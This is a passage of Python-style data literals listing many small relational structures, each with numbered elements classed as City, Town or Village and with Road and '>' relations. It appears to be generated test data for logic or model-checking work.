">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '7'), ('3', '8'), ('2', '4'), ('1', '2'),
('5', '2'), ('2', '5'), ('3', '6'), ('7', '1'), ('8', '3'), ('4', '2'),
('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '7'), ('3', '8'), ('2', '4'),
('1', '2'), ('2', '6'), ('6', '2'), ('7', '1'), ('8', '3'), ('5', '3'),
('4', '2'), ('1', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('8', '2'), ('1', '7'), ('2', '4'),
('1', '2'), ('2', '8'), ('3', '6'), ('7', '1'), ('5', '3'), ('4', '2'),
('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '7'), ('3', '4'), ('3', '8'), ('1', '2'),
('5', '2'), ('2', '5'), ('2', '6'), ('6', '2'), ('7', '1'), ('4', '3'),
('8', '3'), ('1', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '7'), ('3', '4'), ('2', '8'), ('1', '2'),
('5', '2'), ('2', '5'), ('3', '6'), ('7', '1'), ('4', '3'), ('8', '2'),
('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '7'), ('3', '4'), ('2', '8'),
('1', '2'), ('2', '6'), ('6', '2'), ('7', '1'), ('4', '3'), ('5', '3'),
('8', '2'), ('1', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '8'), ('3', '7'), ('5', '2'), ('2', '4'),
('1', '2'), ('2', '5'), ('3', '6'), ('7', '3'), ('4', '2'), ('1', '3'),
('6', '3'), ('8', '1')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '8'), ('3', '7'), ('2', '4'),
('1', '2'), ('2', '6'), ('6', '2'), ('7', '3'), ('5', '3'), ('4', '2'),
('1', '3'), ('8', '1')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '8'), ('2', '4'), ('1', '2'),
('4', '2'), ('3', '6'), ('7', '2'), ('5', '3'), ('2', '7'), ('1', '3'),
('6', '3'), ('8', '1')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '8'), ('3', '7'), ('3', '4'), ('5', '2'),
('1', '2'), ('2', '5'), ('2', '6'), ('6', '2'), ('4', '3'), ('7', '3'),
('1', '3'), ('8', '1')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '8'), ('3', '4'), ('5', '2'), ('1', '2'),
('2', '5'), ('3', '6'), ('4', '3'), ('7', '2'), ('2', '7'), ('1', '3'),
('6', '3'), ('8', '1')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '8'), ('3', '4'), ('1', '2'),
('2', '6'), ('6', '2'), ('4', '3'), ('7', '2'), ('5', '3'), ('2', '7'),
('1', '3'), ('8', '1')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('3', '7'), ('3', '8'), ('5', '2'), ('2', '4'),
('1', '2'), ('2', '5'), ('2', '6'), ('6', '2'), ('7', '3'), ('8', '3'),
('4', '2'), ('1', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('3', '8'), ('5', '2'), ('2', '4'), ('1', '2'),
('2', '5'), ('4', '2'), ('3', '6'), ('7', '2'), ('8', '3'), ('2', '7'),
('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('3', '7'), ('8', '2'), ('5', '2'), ('2', '4'),
('1', '2'), ('2', '8'), ('2', '5'), ('3', '6'), ('7', '3'), ('4', '2'),
('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('3', '7'), ('3', '8'), ('5', '2'), ('2', '4'),
('1', '2'), ('2', '5'), ('3', '6'), ('7', '3'), ('8', '3'), ('4', '2'),
('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('3', '8'), ('2', '4'), ('1', '2'),
('2', '6'), ('4', '2'), ('6', '2'), ('7', '2'), ('8', '3'), ('5', '3'),
('2', '7'), ('1', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('3', '7'), ('8', '2'), ('2', '4'),
('1', '2'), ('2', '8'), ('2', '6'), ('6', '2'), ('7', '3'), ('5', '3'),
('4', '2'), ('1', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('3', '7'), ('3', '8'), ('2', '4'),
('1', '2'), ('2', '6'), ('6', '2'), ('7', '3'), ('8', '3'), ('5', '3'),
('4', '2'), ('1', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('8', '2'), ('2', '4'), ('1', '2'),
('2', '8'), ('4', '2'), ('3', '6'), ('7', '2'), ('5', '3'), ('2', '7'),
('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('3', '8'), ('2', '4'), ('1', '2'),
('4', '2'), ('3', '6'), ('7', '2'), ('8', '3'), ('5', '3'), ('2', '7'),
('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('3', '7'), ('8', '2'), ('2', '4'),
('1', '2'), ('2', '8'), ('3', '6'), ('7', '3'), ('5', '3'), ('4', '2'),
('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('3', '4'), ('3', '8'), ('5', '2'), ('1', '2'),
('2', '5'), ('2', '6'), ('6', '2'), ('4', '3'), ('7', '2'), ('8', '3'),
('2', '7'), ('1', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('3', '7'), ('8', '2'), ('3', '4'), ('5', '2'),
('2', '8'), ('1', '2'), ('2', '5'), ('2', '6'), ('6', '2'), ('4', '3'),
('7', '3'), ('1', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('3', '7'), ('3', '4'), ('3', '8'), ('5', '2'),
('1', '2'), ('2', '5'), ('2', '6'), ('6', '2'), ('4', '3'), ('8', '3'),
('7', '3'), ('1', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('8', '2'), ('3', '4'), ('5', '2'), ('2', '8'),
('1', '2'), ('2', '5'), ('3', '6'), ('4', '3'), ('7', '2'), ('2', '7'),
('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('3', '4'), ('3', '8'), ('5', '2'), ('1', '2'),
('2', '5'), ('3', '6'), ('4', '3'), ('7', '2'), ('8', '3'), ('2', '7'),
('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('3', '7'), ('8', '2'), ('3', '4'), ('5', '2'),
('2', '8'), ('1', '2'), ('2', '5'), ('3', '6'), ('4', '3'), ('7', '3'),
('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('8', '2'), ('3', '4'), ('2', '8'),
('1', '2'), ('2', '6'), ('6', '2'), ('4', '3'), ('7', '2'), ('5', '3'),
('2', '7'), ('1', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('3', '4'), ('3', '8'), ('1', '2'),
('2', '6'), ('6', '2'), ('4', '3'), ('7', '2'), ('8', '3'), ('5', '3'),
('2', '7'), ('1', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('3', '7'), ('8', '2'), ('3', '4'),
('2', '8'), ('1', '2'), ('2', '6'), ('6', '2'), ('4', '3'), ('5', '3'),
('7', '3'), ('1', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('8', '2'), ('3', '4'), ('2', '8'),
('1', '2'), ('3', '6'), ('4', '3'), ('7', '2'), ('5', '3'), ('2', '7'),
('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '4'), ('3', '8'), ('3', '9'), ('5', '2'),
('1', '2'), ('2', '5'), ('2', '6'), ('6', '2'), ('7', '2'), ('8', '3'),
('9', '3'), ('2', '7'), ('1', '3'), ('4', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '4'), ('3', '7'), ('5', '2'), ('3', '9'),
('2', '8'), ('1', '2'), ('8', '2'), ('2', '5'), ('2', '6'), ('6', '2'),
('9', '3'), ('7', '3'), ('1', '3'), ('4', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '4'), ('3', '7'), ('3', '8'), ('5', '2'),
('1', '2'), ('2', '5'), ('2', '6'), ('6', '2'), ('9', '2'), ('8', '3'),
('7', '3'), ('1', '3'), ('2', '9'), ('4', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '4'), ('3', '7'), ('3', '8'), ('3', '9'),
('5', '2'), ('1', '2'), ('2', '5'), ('2', '6'), ('6', '2'), ('8', '3'),
('9', '3'), ('7', '3'), ('1', '3'), ('4', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '4'), ('8', '2'), ('5', '2'), ('3', '9'),
('2', '8'), ('1', '2'), ('2', '5'), ('3', '6'), ('7', '2'), ('9', '3'),
('6', '3'), ('2', '7'), ('1', '3'), ('4', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '4'), ('3', '8'), ('5', '2'), ('1', '2'),
('2', '5'), ('3', '6'), ('9', '2'), ('7', '2'), ('8', '3'), ('6', '3'),
('2', '7'), ('1', '3'), ('2', '9'), ('4', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '4'), ('3', '8'), ('3', '9'), ('5', '2'),
('1', '2'), ('2', '5'), ('3', '6'), ('7', '2'), ('8', '3'), ('9', '3'),
('6', '3'), ('2', '7'), ('1', '3'), ('4', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '4'), ('3', '7'), ('5', '2'), ('8', '2'),
('2', '8'), ('1', '2'), ('2', '5'), ('3', '6'), ('9', '2'), ('6', '3'),
('7', '3'), ('1', '3'), ('2', '9'), ('4', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '4'), ('3', '7'), ('5', '2'), ('3', '9'),
('2', '8'), ('1', '2'), ('8', '2'), ('2', '5'), ('3', '6'), ('9', '3'),
('6', '3'), ('7', '3'), ('1', '3'), ('4', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '4'), ('3', '7'), ('3', '8'), ('5', '2'),
('1', '2'), ('2', '5'), ('3', '6'), ('9', '2'), ('8', '3'), ('6', '3'),
('7', '3'), ('1', '3'), ('2', '9'), ('4', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '4'), ('8', '2'), ('3', '9'),
('2', '8'), ('1', '2'), ('2', '6'), ('6', '2'), ('7', '2'), ('9', '3'),
('5', '3'), ('2', '7'), ('1', '3'), ('4', '1')},
